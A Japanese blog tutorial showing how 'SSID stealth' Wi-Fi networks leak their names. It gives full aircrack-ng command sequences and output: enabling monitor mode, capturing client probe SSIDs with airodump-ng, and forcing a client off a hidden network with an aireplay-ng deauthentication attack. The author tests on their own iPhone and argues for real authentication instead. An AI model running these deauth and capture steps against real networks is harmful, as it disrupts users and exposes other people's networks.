Wi-Fiクラッキング🍳秘匿されたSSID情報を取得する

Wi-Fiの不正利用を防ぐための機能とされている「SSIDステルス」は、
実際にはほとんど意味がなく、むしろ逆効果になる可能性があります。

今回はSSIDステルスが原因でSSIDが漏洩する様子を確認します。

目次

SSIDステルスのSSIDが漏洩する仕組み
端末から漏洩したSSIDを捕捉する
SSIDステルスのSSIDを強制的に取得する

これは攻撃手法を紹介することでセキュリティ対策について考える目的であり、犯罪を助長する意図はありません。
実際にこれらの方法を悪用した場合、法律により罰せられます。

SSIDステルスのSSIDが漏洩する仕組み

Wi-Fiビーコンのやり取り

SSID (Wi-Fiの識別名)は、パソコンやスマホ端末の画面上で一覧できます。
これはアクセスポイント側からビーコン(信号)を発信して「ここに〇〇っていう名前のWi-Fiがありますよー!」と周囲に伝えているからです。

SSIDステルスはビーコンを出さず黙秘していて、Wi-Fi一覧に出てきません。
接続するには、そのWi-Fiを知っている端末が「ここに〇〇って名前のWi-Fiはありますかー?」と問い合わせるしかありません。

既知のネットワークへの自動接続

さてパソコンでもスマホでも、自分が知っているWi-Fiを検知して、自動で繋げようとします。

SSIDステルスは端末側から発信しないと検知できないので、
ユーザーが各地でネットに繋ごうとするたび毎回、
端末が自ら「秘密のWi-Fiの名前」を周囲に問い合わせてまわります。

この発信によって漏洩するのは、単なるSSIDの文字列だけですが、
SSIDに会社名や学校名、部屋の名前や部署の名前をつけている場合、
攻撃者に十分なヒントを与えることになります。

次に、このようにして漏洩したSSIDを捕捉する手順を紹介します。

端末から漏洩したSSIDを捕捉する

ツールを用意する

aircrack-ng がない場合はインストールする必要があります。

sudo apt install aircrack-ng

以降は、物理マシン上で動作するKali Linuxを使用しています。
コード内の「xxxxx…」は伏せ字の意味で使用しています。

無線NICをモニタモードにする

作業開始前の無線NICの状態を確認しておきます。
インターフェース名「wlan0」として無線NICが認識されています。

┌──(kalina㉿kalina)-[~]
└─$ iwconfig
lo        no wireless extensions.

eth0      no wireless extensions.

wlan0     IEEE 802.11  ESSID:"xxxxxxxxxxxxxx"  
          Mode:Managed  Frequency:5.18 GHz  Access Point: 98:F1:99:0C:57:07   
          Bit Rate=866.7 Mb/s   Tx-Power=22 dBm   
          Retry short limit:7   RTS thr:off   Fragment thr:off
          Power Management:on
          Link Quality=67/70  Signal level=-43 dBm  
          Rx invalid nwid:0  Rx invalid crypt:0  Rx invalid frag:0
          Tx excessive retries:0  Invalid misc:8   Missed beacon:0

作業開始前の無線通信プロセスを確認しておきます。
(同時にroot権限へ昇格しておきます)

┌──(root㉿kalina)-[~]
└─# airmon-ng check

Found 2 processes that could cause trouble.
Kill them using 'airmon-ng check kill' before putting
the card in monitor mode, they will interfere by changing channels
and sometimes putting the interface back in managed mode

    PID Name
    658 NetworkManager
    774 wpa_supplicant

NICをモニタモードにする前に、現在のプロセスを停止させます。
すでに接続していたWi-Fiがあれば同時に切断されます。

┌──(root㉿kalina)-[~]
└─# airmon-ng check kill

Killing these processes:

    PID Name
    774 wpa_supplicant

無線NICをモニタモードに切り替えます。

┌──(rootkalina)-[~]
└─# airmon-ng start wlan0  


PHY     Interface       Driver          Chipset

phy0    wlan0           iwlwifi         Intel Corporation Wireless 8260 (rev 3a)
                (mac80211 monitor mode vif enabled for [phy0]wlan0 on [phy0]wlan0mon)
                (mac80211 station mode vif disabled for [phy0]wlan0)

再び無線NICの状態を確認します。
インターフェース名が「wlan0mon」に変化していて、
「Mode:Monitor」となっていることが確認できます。

┌──(root㉿kalina)-[~]
└─# iwconfig
lo        no wireless extensions.

eth0      no wireless extensions.

wlan0mon  IEEE 802.11  Mode:Monitor  Frequency:2.457 GHz  Tx-Power=-2147483648 dBm   
          Retry short limit:7   RTS thr:off   Fragment thr:off
          Power Management:on

端末が発信したSSIDを捕捉する

airodump-ng を実行してネットワークを検出します。
上段がアクセスポイントの一覧、下段がクライアントの一覧です。

┌──(root㉿kalina)-[~]
└─# airodump-ng --essid-regex eo wlan0mon

 CH  5 ][ Elapsed: 18 s ][ 2022-12-30 13:57                                                                                                                          
                                                                                                                                                                     
 BSSID              PWR  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ESSID
                                                                                                                                               
 00:XX:XX:XX:XX:XX  -90       13        0    0  13  195   WPA2 CCMP   PSK  eoRT-xxxxxxx-g                                                                            
 00:XX:XX:XX:XX:XX  -88        0        0    0   1  195   WPA2 CCMP   PSK  eoRT-xxxxxxx-g                                                                            
 98:XX:XX:XX:XX:XX  -39       19        0    0   1  195   WPA2 CCMP   PSK  eoRT-xxxxxxx-g                                                                            
 C0:XX:XX:XX:XX:XX  -82       11        0    0   1  195   WPA2 CCMP   PSK  eoRT-xxxxxxx-g
                                                                        
 BSSID              STATION            PWR   Rate    Lost    Frames  Notes  Probes                                                                                   
                                                                                                                                                                    
 (not associated)   CE:XX:XX:XX:XX:XX  -30    0 - 1      0        1         XXXXX-CLASS                                                                              
 (not associated)   56:XX:XX:XX:XX:XX  -30    0 - 1      0        5                                                                                                  
 (not associated)   00:XX:XX:XX:XX:XX  -82    0 - 1      0        3         40017-xxxxxx                                                                             
 (not associated)   08:XX:XX:XX:XX:XX  -76    0 - 6     59        8         xxxxxxxuser                                                                              
 00:25:DC:EE:9D:6E  60:XX:XX:XX:XX:XX  -89    0 - 1      0        1                                                                                                  

ここで下段のクライアント一覧の中から「Probes」に注目します。
プローブ欄に表示されているのは、いまクライアントが接続しようと試みて発信されているSSIDです。

これらはすべて、どこかのステルスSSIDが意図せずこの場に漏洩している状態であることを意味しています。

Probes                                                                                   
                                                                                                                                                                    
XXXXX-CLASS                                                                              

40017-xxxxxx
xxxxxxxuser

この中で「XXXXX-CLASS」というSSIDは、私のiPhoneで以前接続したステルスのSSIDです。
スキャン中にiPhoneを起動させるとすぐに検知されました。

もちろん「XXXXX-CLASS」のネットワークから遠く離れた場所で検証しているため、
この場所で「XXXXX-CLASS」の存在を知るのは私のiPhoneだけです。

SSIDステルスのSSIDを強制的に取得する

再び airodump-ng を実行して、アクセスポイントとクライアントをスキャンします。

┌──(root㉿kalina)-[~]
└─# airodump-ng wlan0mon   

 CH 13 ][ Elapsed: 0 s ][ 2022-12-30 14:41                                                                                                                             
                                                                                                                                                                       
 BSSID              PWR  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ESSID                                                                                       
                                                                                                                                                                      
 E2:XX:XX:XX:XX:XX  -79        2        0    0  10  270   WPA2 CCMP   PSK  <length: 16>                                                                                
 04:XX:XX:XX:XX:XX  -84        2        0    0  10  360   WPA2 CCMP   PSK  elecom-xxxxxx                                                                               
 60:XX:XX:XX:XX:XX  -75        3        0    0   9  720   WPA2 CCMP   PSK  Buffalo-xxxxxx                                                                                                                                                        
 E8:XX:XX:XX:XX:XX  -90        2        0    0   3  540   WPA2 CCMP   PSK  TP-Link_xxxx                                                                                
 00:XX:XX:XX:XX:XX  -86        3        0    0  13   54e  WEP  WEP         <length:  0>                                                                                
 00:XX:XX:XX:XX:XX  -90        2        0    0  13  195   WPA2 CCMP   PSK  eoxxxxxxxxxx-g                                                                              
 1C:XX:XX:XX:XX:XX  -79        4        0    0   7  270   WPA2 CCMP   PSK  WARPSTAR-xxxxxx                                                                             
 12:XX:XX:XX:XX:XX  -74        8        0    0   7   54e. WEP  WEP         WARPSTAR-xxxxxx-W                                                                           
 74:XX:XX:XX:XX:XX  -87        4        0    0   1  130   WPA2 CCMP   PSK  Buffalo-xxxxxx                                                                              
 C0:XX:XX:XX:XX:XX  -84        4        0    0   1  195   WPA2 CCMP   PSK  eoxxxxxxxxxx-g                                                                              
 98:XX:XX:XX:XX:XX  -45        7        0    0   1  195   WPA2 CCMP   PSK  eoxxxxxxxxxx-g                                                                              
                                                                                                                                                                       
 BSSID              STATION            PWR   Rate    Lost    Frames  Notes  Probes                                                                                     
                                                                                                                                                                       
 00:XX:XX:XX:XX:XX  A0:XX:XX:XX:XX:XX  -82    0 -12e     1        3                                                                                                    
 (not associated)   DA:XX:XX:XX:XX:XX  -81    0 - 1     17        7                                                                                                    
 (not associated)   3E:XX:XX:XX:XX:XX  -93    0 - 1      0        1                                                                                                    
 (not associated)   08:XX:XX:XX:XX:XX  -80    0 - 6      0        1         xxxxxxxuser                                                                                
 (not associated)   3A:XX:XX:XX:XX:XX  -90    0 - 1     11        2         eoxxxxxxxxxx-a                                                                             

このように、右端の「ESSID」の欄が文字列の長さのみになっているのが、SSIDステルスのネットワークです。

ESSID 

<length: 16>
<length:  0>

標的のネットワークに接続するクライアントを解析する

airodump-ng で標的のSSIDステルスのネットワークを指定して、誰かクライアントが接続しに来るのを待ちます。

接続に来たクライアントはSSIDをブロードキャストするので、そのときにSSIDを受信できます。

以下の場合、物理アドレスC6:XX:XX:XX:XX:DC の端末が、標的のWi-Fiに接続しています。(私のiPhoneです)

すでにクライアントが接続されている場合、この端末を強制的に切断して、再接続させる方が早いので、こちらも一時的に標的とします。

┌──(root㉿kalina)-[~]
└─# airodump-ng --bssid E2:48:B8:E6:B4:1F --channel 10 wlan0mon

 CH  1 ][ Elapsed: 36 s ][ 2022-12-30 15:04                                                                                                                            
                                                                                                                                                                       
 BSSID              PWR RXQ  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ESSID                                                                                   
                                                                                                                                                                       
 E2:XX:XX:XX:XX:XX  -42 100      403     4988   21  10  195   WPA2 CCMP   PSK  <length: 16>                                                                          
                                                                                                                                                                       
 BSSID              STATION            PWR   Rate    Lost    Frames  Notes  Probes                                                                                     
                                                                                                                                                                       
 E2:XX:XX:XX:XX:XX  C6:XX:XX:XX:XX:DC  -31    6e-24e  5648     5201                                                                                                    

標的のクライアントをネットワークから切断させる

非認証攻撃を行なって、標的のクライアントをこのネットワークから切断させます。

攻撃は多くても10発ほど打てば確実に切断されます。
今回は2発にしましたが、問題なく私のiPhoneはWi-Fiから切断されました。

┌──(rootkalina)-[~]
└─# aireplay-ng --deauth 2 -a 98:XX:XX:XX:XX:06 -c C6:XX:XX:XX:XX:DC wlan0mon
15:07:48  Waiting for beacon frame (BSSID: 98:XX:XX:XX:XX:06) on channel 1
15:07:49  Sending 64 directed DeAuth (code 7). STMAC: [C6:XX:XX:XX:XX:DC] [63|64 ACKs]
15:07:49  Sending 64 directed DeAuth (code 7). STMAC: [C6:XX:XX:XX:XX:DC] [63|56 ACKs]

先述の通り、端末は既知のネットワークに自動接続しようとするので、その際に発信されるSSIDを捕捉することで、秘匿されていたSSIDを入手します。

アクセスポイントの一覧でSSIDを確認することができました。

┌──(root㉿kalina)-[~]
└─# airodump-ng wlan0mon   

 CH 13 ][ Elapsed: 0 s ][ 2022-12-30 15:10                                                                                                                             
                                                                                                                                                                       
 BSSID              PWR  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ESSID                                                                                       
                                                                                                                                                                      
 E2:XX:XX:XX:XX:XX  -79        2        0    0  10  270   WPA2 CCMP   PSK  xxxxxxxxxxxxxxxx

モニタモードの終了とプロセスの再開

各設定を逆順で元に戻し、通常の使用ができるようにします。
モニタモードを解除します。

┌──(rootkalina)-[~]
└─# airmon-ng stop wlan0mon              

PHY     Interface       Driver          Chipset

phy0    wlan0mon        iwlwifi         Intel Corporation Wireless 8260 (rev 3a)
                (mac80211 station mode vif enabled on [phy0]wlan0)
                (mac80211 monitor mode vif disabled for [phy0]wlan0mon)

ネットワークマネージャを再起動させます。

┌──(root㉿kalina)-[~]
└─# systemctl restart NetworkManager

ネットワークマネージャのプロセスが再開されました。
通常通りネットワークに接続することができます。

┌──(root㉿kalina)-[~]
└─# airmon-ng check        

Found 2 processes that could cause trouble.
Kill them using 'airmon-ng check kill' before putting
the card in monitor mode, they will interfere by changing channels
and sometimes putting the interface back in managed mode

    PID Name
  16195 NetworkManager
  16748 wpa_supplicant

無線NICは「wlan0」に戻り、元のWi-Fiに接続されています。

┌──(root㉿kalina)-[~]
└─# iwconfig
lo        no wireless extensions.

eth0      no wireless extensions.

wlan0     IEEE 802.11  ESSID:"xxxxxxxxxxxxxx"  
          Mode:Managed  Frequency:5.18 GHz  Access Point: 98:F1:99:0C:57:07   
          Bit Rate=866.7 Mb/s   Tx-Power=22 dBm   
          Retry short limit:7   RTS thr:off   Fragment thr:off
          Encryption key:off
          Power Management:on
          Link Quality=65/70  Signal level=-45 dBm  
          Rx invalid nwid:0  Rx invalid crypt:0  Rx invalid frag:0
          Tx excessive retries:0  Invalid misc:4   Missed beacon:0

さいごに

このようにSSIDステルスを使用することは、
隠したいはずのネットワークの存在を、各地にばら撒いてしまうことであるということ、
また本当にWi-Fiを不正利用しようとしている人物にとっては、不正利用に際して何の障壁にもならないことがわかります。

他のユーザーに使って欲しくないWi-Fiは、ステルスにするのではなく普通にパスワードを設定したり、デジタル証明書を使う方式にしたりと、認証によってアクセスを制御すべきです。

参考書籍・サイト
airodump-ng [aircrack-ng]
ハッキング・ラボのつくりかた

この記事が気に入ったらサポートをしてみませんか?